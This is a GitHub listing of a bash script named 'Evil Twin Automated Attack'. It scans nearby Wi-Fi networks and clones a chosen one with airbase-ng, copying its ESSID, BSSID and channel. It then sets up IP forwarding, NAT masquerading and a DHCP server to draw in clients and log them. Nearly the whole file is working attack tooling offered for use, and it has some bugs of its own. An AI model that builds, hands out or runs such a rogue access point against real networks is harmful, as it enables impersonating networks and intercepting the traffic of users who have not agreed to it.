-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathet-auto.sh
executable file
·636 lines (570 loc) · 26.9 KB
/
et-auto.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
#!/usr/bin/env bash
# Regular colors.
BLACK='\e[0;30m' # black
RED='\e[0;31m' # red
GREEN='\e[0;32m' # green
YELLOW='\e[0;33m' # yellow
BLUE='\e[0;34m' # blue
PURPLE='\e[0;35m' # purple
CYAN='\e[0;36m' # cyan
WHITE='\e[0;37m' # white
# Bold colors.
BOLD_BLACK='\e[1;30m' # black
BOLD_RED='\e[1;31m' # red
BOLD_GREEN='\e[1;32m' # green
BOLD_YELLOW='\e[1;33m' # yellow
BOLD_BLUE='\e[1;34m' # blue
BOLD_PURPLE='\e[1;35m' # purple
BOLD_CYAN='\e[1;36m' # cyan
BOLD_WHITE='\e[1;37m' # white
# Default
DEFAULT_FOREGROUND_COLOR='\e[39m' # Default foreground color.
# Variables.
TMP_DIR="./tmp/"
# Network variables.
IP_SUBNET=192.168.1.0
IP_MASK=255.255.255.0
IP_BROADCAST=192.168.1.255
IP_ROUTER=192.168.1.1
IP_RANGE_START=192.168.1.20
IP_RANGE_END=192.168.1.60
DNS=8.8.8.8
DHCPD_FILE="dhcpd.conf"
###########################################
# Get information of the chipset.
# Globals:
# chipset
# Arguments:
# interface
# ethtool_output
# Returns:
# None
###########################################
get_chipset() {
local bus
local bus_info
local device_id
local driver
local interface=${1}
local ethtool_output=${2}
if [ -f /sys/class/net/${interface}/device/modalias ]; then
bus="$(cut -d ":" -f 1 /sys/class/net/${interface}/device/modalias)"
if [ "${bus}" = "usb" ]; then
bus_info="$(cut -d ":" -f 2 /sys/class/net/${interface}/device/modalias | cut -b 1-10 | sed 's/^.//;s/p/:/')"
chipset="$(lsusb -d "${bus_info}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
# Broadcom appears to define all the internal buses so we have to detect them here.
elif [ "${bus}" = "pci" -o "${bus}" = "pcmcia" ]; then
if [ -f /sys/class/net/${interface}/device/vendor ] && [ -f /sys/class/net/${interface}/device/device ]; then
device_id="$(cat /sys/class/net/${interface}/device/vendor):$(cat /sys/class/net/${interface}/device/device)"
chipset="$(lspci -d ${device_id} | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
else
bus_info="$(printf "${ethtool_output}" | grep bus-info | cut -d ":" -f "3-" | sed 's/^ //')"
chipset="$(lspci | grep "${bus_info}" | head -n1 - | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
device_id="$(lspci -nn | grep "${bus_info}" | grep '[[0-9][0-9][0-9][0-9]:[0-9][0-9][0-9][0-9]' -o)"
fi
elif [ "${bus}" = "sdio" ]; then
if [ -f /sys/class/net/${interface}/device/vendor ] && [ -f /sys/class/net/${interface}/device/device ]; then
device_id="$(cat /sys/class/net/${interface}/device/vendor):$(cat /sys/class/net/${interface}/device/device)"
fi
if [ "${device_id}" = '0x02d0:0x4330' ]; then
chipset='Broadcom 4330'
elif [ "${device_id}" = '0x02d0:0x4329' ]; then
chipset='Broadcom 4329'
elif [ "${device_id}" = '0x02d0:0x4334' ]; then
chipset='Broadcom 4334'
elif [ "${device_id}" = '0x02d0:0xa94c' ]; then
chipset='Broadcom 43340'
elif [ "${device_id}" = '0x02d0:0xa94d' ]; then
chipset='Broadcom 43341'
elif [ "${device_id}" = '0x02d0:0x4324' ]; then
chipset='Broadcom 43241'
elif [ "${device_id}" = '0x02d0:0x4335' ]; then
chipset='Broadcom 4335/4339'
elif [ "${device_id}" = '0x02d0:0xa962' ]; then
chipset='Broadcom 43362'
elif [ "${device_id}" = '0x02d0:0xa9a6' ]; then
chipset='Broadcom 43430'
elif [ "${device_id}" = '0x02d0:0x4345' ]; then
chipset='Broadcom 43455'
elif [ "${device_id}" = '0x02d0:0x4354' ]; then
chipset='Broadcom 4354'
elif [ "${device_id}" = '0x02d0:0xa887' ]; then
chipset='Broadcom 43143'
else
chipset="unable to detect for sdio ${device_id}"
fi
else
chipset="Not pci, usb, or sdio."
fi
elif [ -f /sys/class/net/${interface}/device/idVendor ] && [ -f /sys/class/net/${interface}/device/idProduct ]; then
device_id="$(cat /sys/class/net/${interface}/device/idVendor):$(cat /sys/class/net/${interface}/device/idProduct)"
chipset="$(lsusb | grep -i "${device_id}" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
elif [ "${driver}" = "mac80211_hwsim" ]; then
chipset="Software simulator of 802.11 radio(s) for mac80211"
elif $(printf "${ethtool_output}" | awk '/bus-info/ {print $2}' | grep -q bcma); then
bus="bcma"
if [ "${driver}" = "brcmsmac" ] || [ "${driver}" = "brcmfmac" ] || [ "${driver}" = "b43" ]; then
chipset="Broadcom on bcma bus, information limited"
else
chipset="Unrecognized driver \"${driver}\" on bcma bus"
fi
else
chipset="non-mac80211 device? (report this!)"
fi
}
###########################################
# Get WI-FI interfaces.
# Globals:
# interface_list
# interfaces_number
# Arguments:
# get_only_wlan
# Returns:
# None
###########################################
get_interfaces_list() {
local get_only_wlan=${1}
unset interface_list
interfaces_number=0
if [ "${get_only_wlan}" == true ]; then
for interface in $(ls -1 /sys/class/net); do
if [ -f /sys/class/net/${interface}/uevent ]; then
if (( $(grep -q DEVTYPE=wlan /sys/class/net/${interface}/uevent) )); then
interface_list="${interface_list}\n ${interface}"
fi
fi
interfaces_number=$((interfaces_number+1))
done
if [ -x "$(command -v iwconfig 2>&1)" ] && [ -x "$(command -v sort 2>&1)" ]; then
for interface in $(iwconfig 2> /dev/null | sed 's/^\([a-zA-Z0-9_.]*\) .*/\1/'); do
interface_list="${interface_list}\n ${interface}"
done
interface_list="$(printf "${interface_list}" | sort -bu)"
fi
else
for interface in $(ls -1 /sys/class/net); do
if [ -f /sys/class/net/${interface}/uevent ]; then
if (( $(grep -c DEVTYPE=bridge /sys/class/net/${interface}/uevent) == 0 )); then
interface_list="${interface_list}\n ${interface}"
fi
fi
interfaces_number=$((interfaces_number+1))
done
interface_list="$(printf "${interface_list}" | sort -bu)"
fi
}
###########################################
# Check if needed programs are installed.
# Globals:
# None
# Arguments:
# None
# Returns:
# None
###########################################
check_programs() {
# Check if lspci is installed.
is_error=false
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ]; then
if [ ! -x "$(command -v lspci 2>&1)" ]; then
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Please install ${BOLD_PURPLE}lspci{GREEN} from your distro's package manager${WHITE}."
echo ""
is_error=true
fi
fi
# Check if lsusb is installed.
if [ -d /sys/bus/usb ]; then
if [ ! -x "$(command -v lsusb 2>&1)" ]; then
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Please install ${BOLD_PURPLE}lsusb${GREEN} from your distro's package manager${WHITE}."
echo ""
is_error=true
fi
fi
# Check if aircrack-ng is installed.
if ! [ -x "$(command -v aircrack-ng 2>&1)" ]; then
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Please install ${BOLD_PURPLE}aircrack-ng${GREEN} from your distro's package manager${WHITE}."
echo ""
is_error=true
fi
# Check if xterm is installed.
if ! [ -x "$(command -v xterm 2>&1)" ]; then
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Please install ${BOLD_PURPLE}xterm${GREEN} from your distro's package manager${WHITE}."
echo ""
is_error=true
fi
# Check if isc-dhcp-server is installed.
if [[ "$(dpkg-query -l | grep -c isc-dhcp-server)" -eq 0 ]]; then
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Please install ${BOLD_PURPLE}isc-dhcp-server${GREEN} from your distro's package manager${WHITE}."
echo ""
is_error=true
fi
if [ "${is_error}" == true ]; then
exit 1
fi
}
###########################################
# Get chipsets of the interfaces.
# Globals:
# chipsets_number
# interfaces
# chipsets
# ethtool_output
# Arguments:
# get_only_wlan
# Returns:
# None
###########################################
get_interfaces_chipsets() {
local get_only_wlan=${1}
get_interfaces_list ${get_only_wlan}
chipsets_number=0
for interface in $(printf "${interface_list}"); do
unset ethtool_output FROM FIRMWARE STACK MADWIFI MAC80211 BUSADDR chipset EXTENDED PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt
if [ "${get_only_wlan}" == true ]; then
ethtool_output="$(ethtool -i "${interface}" 2>&1)"
if [ "${ethtool_output}" != "Cannot get driver information: Operation not supported" ]; then
get_chipset ${interface} ${ethtool_output}
interfaces["${chipsets_number}"]="${interface}"
chipsets["${chipsets_number}"]="${chipset}"
else
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} ${BOLD_PURPLE}ethtool${GREEN} failed${WHITE}..."
echo ""
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Only mac80211 devices on kernel 2.6.33 or higher are officially supported by airmon-ng${WHITE}."
echo ""
exit 1
fi
chipsets_number=$((chipsets_number+1))
else
get_chipset ${interface}
interfaces["${chipsets_number}"]="${interface}"
chipsets["${chipsets_number}"]="${chipset}"
chipsets_number=$((chipsets_number+1))
fi
done
}
###########################################
# Create DHCPD config file.
# Globals:
# None
# Arguments:
# None
# Returns:
# None
###########################################
create_dhcpd_config_file() {
local file_path="${TMP_DIR}/${DHCPD_FILE}"
rm file_path
echo ${file_path}
{
echo -e "authoritative;"
echo -e "default-lease-time 600;"
echo -e "max-lease-time 7200;"
echo -e "subnet ${IP_SUBNET} netmask ${IP_MASK} {"
echo -e "\toption broadcast-address ${IP_BROADCAST};"
echo -e "\toption routers ${IP_ROUTER};"
echo -e "\toption subnet-mask ${IP_MASK};"
echo -e "\trange ${IP_RANGE_START} ${IP_RANGE_END};"
echo -e "}"
} >> ${file_path}
}
###########################################
# Get Wi-Fi hot spots list.
# Globals:
# macs
# channels
# encryptions
# essids
# items_size
# Arguments:
# wlan
# Returns:
# None
###########################################
get_wifi_list() {
wlan=${1}
local capture_dir=${TMP_DIR}
check_dir=`ls ${capture_dir} | grep -E '^capture$'`
if [ "${check_dir}" != "" ];then
rm -rf ${capture_dir}/capture
mkdir -p ${capture_dir}/capture
else
mkdir -p ${capture_dir}/capture
fi
trap - SIGINT SIGQUIT SIGTSTP
airodump-ng -w ${capture_dir}/capture/capture --output-format csv -a ${wlan}
take_needed=`cat ${capture_dir}/capture/capture-01.csv | egrep -a -n '(Station|CLIENT)' | awk -F : '{print $1}'`
take_needed=`expr ${take_needed} - 1`
head -n ${take_needed} ${capture_dir}/capture/capture-01.csv &> ${capture_dir}/capture/capture-02.csv
local mac
local fts
local lts
local channel
local speed
local encryption
local cypher
local auth
local power
local beacon
local iv
local lan_ip
local id_length
local essid
local key
items_size=0
while IFS=',' read mac fts lts channel speed encryption cypher auth power beacon iv lan_ip id_length essid key; do
mac_lenght=${#mac}
if [ "${mac_lenght}" -ge 17 ]; then
macs["${items_size}"]=${mac}
channels["${items_size}"]=${channel}
encryptions["${items_size}"]=${encryption:1}
essids["${items_size}"]=${essid:1}
items_size=$((items_size+1))
fi
done < ${capture_dir}/capture/capture-02.csv
}
###########################################
# Select Wi-Fi from the hot spots list.
# Globals:
# selected_essid
# selected_bssid
# selected_channel
# Arguments:
# wlan
# Returns:
# None
###########################################
select_wifi() {
local wlan=${1}
get_wifi_list ${wlan}
unset selected_essid
unset selected_bssid
unset selected_channel
echo -ne '\033c'
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}-------------------------------------${WHITE}+${YELLOW}-------------------${WHITE}+${YELLOW}-----${WHITE}+${YELLOW}------${WHITE}+"
echo -e "${YELLOW}|${RED} ID ${YELLOW}|${RED} BSSID ${YELLOW}|${RED} ESSID ${YELLOW}|${RED} CH ${YELLOW}|${RED} ENC ${YELLOW}|"
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}-------------------------------------${WHITE}+${YELLOW}-------------------${WHITE}+${YELLOW}-----${WHITE}+${YELLOW}------${WHITE}+"
for (( c=0; c<${items_size}; c++ )); do
printf "${YELLOW}|${WHITE} %2d ${YELLOW}|${WHITE} %-35s ${YELLOW}|${WHITE} %-17s ${YELLOW}|${WHITE} %-3d ${YELLOW}|${WHITE} %-4s ${YELLOW}|\n" $((c+1)) "${essids[${c}]}" "${macs[${c}]}" ${channels[${c}]} "${encryptions[${c}]}"
done
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}-------------------------------------${WHITE}+${YELLOW}-------------------${WHITE}+${YELLOW}-----${WHITE}+${YELLOW}------${WHITE}+"
# Wi-Fi selection part.
local wifi_selection
local is_wifi_selected=false
while [[ "${is_wifi_selected}" != "true" ]]; do
echo ""
echo -e -n "${RED}[${CYAN}!${RED}]${WHITE} Select the ${BOLD_RED}number${WHITE} of wireless device ${WHITE}[${GREEN}1${WHITE}-${GREEN}${items_size}${WHITE}]: ${GREEN}"
read wifi_selection
if [[ "${wifi_selection}" =~ ^[+-]?[0-9]+$ ]]; then
if [ "${wifi_selection}" -ge 1 ] && [ "${wifi_selection}" -le "${items_size}" ]; then
is_wifi_selected=true
wifi_index=$((wifi_selection-1))
fi
fi
done
selected_essid=${essids["${wifi_index}"]}
selected_bssid=${macs["${wifi_index}"]}
selected_channel=${channels["${wifi_index}"]}
}
###########################################
# Get chipsets of the internet interfaces.
# Globals:
# lan
# Arguments:
# None
# Returns:
# None
###########################################
select_internet_interface() {
local interfaces_number=`ifconfig 2>&1 | grep 'HWaddr' | wc -l`
echo -ne '\033c'
echo ""
echo -e ${WHITE}"[${RED}+${WHITE}]${GREEN} Scanning for internet interfaces${WHITE}..."
if [ "${interfaces_number}" -ge 1 ]; then
get_interfaces_chipsets false
echo -e ${WHITE}"[${RED}+${WHITE}]${GREEN} Found ${BOLD_PURPLE}${chipsets_number}${GREEN} internet interface(s)${WHITE}."
echo ""
# Formatting table.
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}----------------------${WHITE}+${YELLOW}---------------------------------------------------------${WHITE}+"
echo -e "${YELLOW}|${RED} ID ${YELLOW}|${RED} Interfaces ${YELLOW}|${RED} Chipsets ${YELLOW}|"
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}----------------------${WHITE}+${YELLOW}---------------------------------------------------------${WHITE}+"
for (( c=0; c<${chipsets_number}; c++ )); do
printf "${YELLOW}|${WHITE} %2d ${YELLOW}|${WHITE} %-20s ${YELLOW}|${WHITE} %-55s ${YELLOW}|\n" $((c+1)) "${interfaces[${c}]}" "${chipsets[${c}]:0:55}"
done
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}----------------------${WHITE}+${YELLOW}---------------------------------------------------------${WHITE}+"
echo ""
# Interface selection part.
local interface_selection
local is_interface_selected=false
while [[ "${is_interface_selected}" != "true" ]]; do
echo -en "\033[1A\033[2K"
echo -e -n "${RED}[${CYAN}!${RED}]${WHITE} Select the ${BOLD_RED}number${WHITE} of internet interface ${WHITE}[${GREEN}1${WHITE}-${GREEN}${chipsets_number}${WHITE}]: ${GREEN}"
read interface_selection
if [[ "${interface_selection}" =~ ^[+-]?[0-9]+$ ]]; then
if [ "${interface_selection}" -ge 1 ] && [ "${interface_selection}" -le "${chipsets_number}" ]; then
is_interface_selected=true
lan=${interfaces[$((interface_selection-1))]}
fi
fi
done
elif [ "${interfaces_number}" -le 0 ]; then
echo ""
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} No internet interfaces ${PURPLE}found${WHITE}."
echo ""
fi
}
###########################################
# Get chipsets of the interfaces.
# Globals:
# wlan
# Arguments:
# None
# Returns:
# None
###########################################
select_interface() {
local interfaces_number=`iwconfig 2>&1 | grep 'ESSID' | wc -l`
local interfaces_monitor_mode=`iwconfig 2>&1 | grep 'Mode:Monitor'`
echo -ne '\033c'
echo ""
echo -e ${WHITE}"[${RED}+${WHITE}]${GREEN} Scanning for wireless devices${WHITE}..."
if [ "${interfaces_number}" -ge 1 ] && [ "${interfaces_monitor_mode}" = "" ]; then
get_interfaces_chipsets true
echo -e ${WHITE}"[${RED}+${WHITE}]${GREEN} Found ${BOLD_PURPLE}${chipsets_number}${GREEN} wireless device(s)${WHITE}."
echo ""
# Formatting table.
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}----------------------${WHITE}+${YELLOW}---------------------------------------------------------${WHITE}+"
echo -e "${YELLOW}|${RED} ID ${YELLOW}|${RED} Interfaces ${YELLOW}|${RED} Chipsets ${YELLOW}|"
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}----------------------${WHITE}+${YELLOW}---------------------------------------------------------${WHITE}+"
for (( c=0; c<${chipsets_number}; c++ )); do
printf "${YELLOW}|${WHITE} %2d ${YELLOW}|${WHITE} %-20s ${YELLOW}|${WHITE} %-55s ${YELLOW}|\n" $((c+1)) "${interfaces[${c}]}" "${chipsets[${c}]:0:55}"
done
echo -e "${WHITE}+${YELLOW}----${WHITE}+${YELLOW}----------------------${WHITE}+${YELLOW}---------------------------------------------------------${WHITE}+"
echo ""
# Interface selection part.
local interface_selection
local is_interface_selected=false
while [[ "${is_interface_selected}" != "true" ]]; do
echo -en "\033[1A\033[2K"
echo -e -n "${RED}[${CYAN}!${RED}]${WHITE} Select the ${BOLD_RED}number${WHITE} of wireless device ${WHITE}[${GREEN}1${WHITE}-${GREEN}${chipsets_number}${WHITE}]: ${GREEN}"
read interface_selection
if [[ "${interface_selection}" =~ ^[+-]?[0-9]+$ ]]; then
if [ "${interface_selection}" -ge 1 ] && [ "${interface_selection}" -le "${chipsets_number}" ]; then
is_interface_selected=true
wlan=${interfaces[$((interface_selection-1))]}
fi
fi
done
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Enabling monitor mode on ${BOLD_PURPLE}$wlan${WHITE}."
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Mode Monitor ${BOLD_GREEN}is enabled${WHITE}."
ifconfig ${wlan} down && iwconfig ${wlan} mode monitor && ifconfig ${wlan} up > /dev/null 2> /dev/null &
elif [ "${interfaces_number}" -le 0 ] && [ "${interfaces_monitor_mode}" = "" ]; then
echo ""
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Wireless Card is ${RED}not found${WHITE}."
elif [ "${interfaces_number}" -le 0 ]; then
echo ""
echo -e ${WHITE}"[${RED}!${WHITE}]${GREEN} Some wireless device is put into ${PURPLE}monitor mode${WHITE}."
echo ""
fi
}
###########################################
# Open new terminal window.
# Globals:
# None
# Arguments:
# command
# title
# Returns:
# None
###########################################
open_terminal() {
local command=${1}
local title=${2}
xterm -hold -T "${title}" -e "${command}" > /dev/null 2>&1 &
}
main() {
local result='main'
while [ "${result}" == 'main' ];
do
result=none
echo -ne '\033c'
echo -e ${CYAN} " +${YELLOW}------------------------------------------------------------------${CYAN}+"
echo -e ${YELLOW} " | |"
echo -e " |${RED} ███████╗████████╗ ${GREEN}█████╗ ██╗ ██╗████████╗ ██████╗ ${PURPLE}██╗ ${YELLOW} |"
echo -e " |${RED} ██╔════╝╚══██╔══╝ ${GREEN}██╔══██╗██║ ██║╚══██╔══╝██╔═══██╗${PURPLE}██║ ${YELLOW} |"
echo -e " |${BOLD_RED} █████╗ ██║${WHITE}█████╗${BOLD_GREEN}███████║██║ ██║ ██║ ██║ ██║${BOLD_PURPLE}██║ ${YELLOW} |"
echo -e " |${BOLD_RED} ██╔══╝ ██║${WHITE}╚════╝${BOLD_GREEN}██╔══██║██║ ██║ ██║ ██║ ██║${BOLD_PURPLE}╚═╝ ${YELLOW} |"
echo -e " |${RED} ███████╗ ██║ ${GREEN}██║ ██║╚██████╔╝ ██║ ╚██████╔╝${PURPLE}██╗ ${YELLOW} |"
echo -e " |${RED} ╚══════╝ ╚═╝ ${GREEN}╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ${PURPLE}╚═╝ ${YELLOW} |"
echo -e ${YELLOW} " | |"
echo -e ${CYAN} " +${YELLOW}------------------------------------------------------------------${CYAN}+${YELLOW}"
echo -e " |${BOLD_RED} Evil${BOLD_YELLOW} Twin${BOLD_PURPLE} Automated${BOLD_GREEN} Attack${YELLOW} |"
echo -e " ${CYAN}+${YELLOW}----------------------------${CYAN}+"
local user_name=`whoami`
if [ "${user_name}" != "root" ]; then
echo -e "${YELLOW} +${WHITE}------------------------------------------------------------------${YELLOW}+"
echo -e "${WHITE} | [${RED}!${WHITE}] You need to launch the script as the root user, run it with ${WHITE}|"
echo -e "${YELLOW} +${WHITE}------------------------------------------------------------------${YELLOW}+"
echo -e "${WHITE} | ${RED} \$${WHITE}=> sudo ${YELLOW}./${GREEN}et${WHITE}-${GREEN}auto${WHITE}.${GREEN}sh${WHITE} |"
echo -e "${WHITE} | ${RED} \$${WHITE}=> sudo ${BLUE}bash ${GREEN}et${WHITE}-${GREEN}auto${WHITE}.${GREEN}sh${WHITE} |"
echo -e "${YELLOW} +${WHITE}------------------------------------------------------------------${YELLOW}+"
echo ""
echo ""
else
check_programs
echo -e "${YELLOW} +${WHITE}------------------------------------------------------------------${YELLOW}+"
echo -e "${WHITE} | ${YELLOW} ID ${WHITE} | ${BOLD_PURPLE}Name${WHITE} |"
echo -e "${YELLOW} +${WHITE}------------------------------------------------------------------${YELLOW}+"
echo -e "${WHITE} | ${RED}[${YELLOW}01${RED}]${WHITE} |${GREEN} Start the attack${WHITE}. |"
echo -e "${WHITE} | ${RED}[${YELLOW}02${RED}]${WHITE} |${GREEN} Exit${WHITE}. |"
echo -e "${YELLOW} +${WHITE}------------------------------------------------------------------${YELLOW}+"
echo ""
echo -e -n "${WHITE} ${RED} [${CYAN}!${RED}]${WHITE} Type the${BOLD_RED} ID${WHITE} of your choice: "
local menu_selection
read menu_selection
menu_selection=`expr ${menu_selection} + 0 2> /dev/null`
case "${menu_selection}" in
"1")
select_interface
echo "${wlan}"
sleep 1
select_wifi ${wlan}
echo "${selected_essid} ${selected_bssid} ${selected_channel}"
sleep 1
select_internet_interface
echo "${lan}"
# TODO(ugnelis): remove "_TEST".
open_terminal "airbase-ng -e ${selected_essid} -a ${selected_bssid} -c ${selected_channel} ${wlan}" "Fake Access Point"
# open_terminal "airbase-ng -e ${selected_essid}_TEST -a ${selected_bssid} -c ${selected_channel} ${wlan}" "Fake Access Point"
sleep 2
echo 12345
iptables -P FORWARD ACCEPT
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o "${lan}" -j MASQUERADE
# TODO(ugnelis): provide internet access
# ifconfig at0 up
# ifconfig at0 192.168.3.1 netmask 255.255.255.0
# route add -net 192.168.3.0 netmask 255.255.255.0 gw 192.168.3.1
# TODO(ugnelis): here might be a problem.
iptables -A INPUT -p icmp --icmp-type 8 -s ${IP_SUBNET}/${IP_MASK} -d ${IP_ROUTER}/${IP_MASK} -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -s ${IP_SUBNET}/${IP_MASK} -d ${IP_ROUTER}/${IP_MASK} -j DROP
open_terminal "dhcpd -d -cf \"${TMP_DIR}/${DHCPD_FILE}\" ${lan} 2>&1 | tee -a ${TMP_DIR}/clts.txt" "DHCP"
sleep 2
;;
"2")
echo ""
echo -e "${WHITE} [${GREEN} ok ${WHITE}]${WHITE} See ${BOLD_YELLOW}you${WHITE} next time!"
echo ""
exit
;;
*)
echo ""
echo -e "${WHITE} [${RED}!${WHITE}]${BOLD_RED} Input${WHITE} is out of range."
echo ""
sleep 2.0
result='main'
;;
esac
fi
done
}
main "$@"